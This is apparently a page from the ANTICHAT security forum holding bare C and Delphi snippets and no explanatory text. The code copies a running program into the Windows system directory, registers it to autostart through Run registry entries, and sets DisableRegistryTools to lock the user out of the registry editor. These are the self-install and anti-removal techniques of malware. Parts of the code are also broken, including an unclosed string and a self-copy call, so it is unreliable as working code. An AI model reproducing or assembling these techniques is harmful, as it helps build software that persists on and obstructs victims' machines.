ANTICHAT — форум по информационной безопасности, OSINT и технологиям

void Copy(void)
{
	char FileName[256],String[256];;
	GetModuleFileName(0,FileName,256);
	GetSystemDirectory(String,255);
	lstrcat(String,"\\**имя_файла**");
	CopyFile(FileName,String,TRUE);
}

DWORD Autorun(void)
{
	char String[256];
	HKEY hKey;
	GetSystemDirectory(String,255);
	lstrcat(String,"**имя_файла**");
	DWORD ret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&hKey);
	if (ret==ERROR_SUCCESS)
	{
		ret = RegSetValueEx(hKey,"Run",0,REG_SZ,(const unsigned char *)String,lstrlen(String));
	}
	if (ret==ERROR_SUCCESS)
		return TRUE;
	else 
		return FALSE;
}

procedure TForm1.FormCreate(Sender: TObject);
var
  RegIni : TRegIniFile;
begin
  RegIni := TRegIniFile.Create('Software');
  RegIni.RootKey := HKEY_LOCAL_MACHINE;
  RegIni.OpenKey('Software', true);
  RegIni.OpenKey('Microsoft', true);
  RegIni.OpenKey('Windows', true);
  RegIni.OpenKey('CurrentVersion', true);
  RegIni.WriteString('Run', 'файло.exe', Application.ExeName);
  RegIni.Free;
end;

program project2;
uses
  Windows,
  registry;

var
  h: TRegistry;
begin
  h := TRegistry.Create;
  with h do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
    WriteString('имя программы, 'C:\windows\system32\ProgramName.exe');
    CloseKey;
    Free;
   end;
   CopyFile(PChar('ProgramName.exe'),PChar('ProgramName.exe'),true);
end.

H := TRegistry.Create;
   with H do
   begin
    RootKey := HKEY_CURRENT_USER;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true);
    WriteInteger('DisableRegistryTools', 1);
    CloseKey;
    Free;
  end;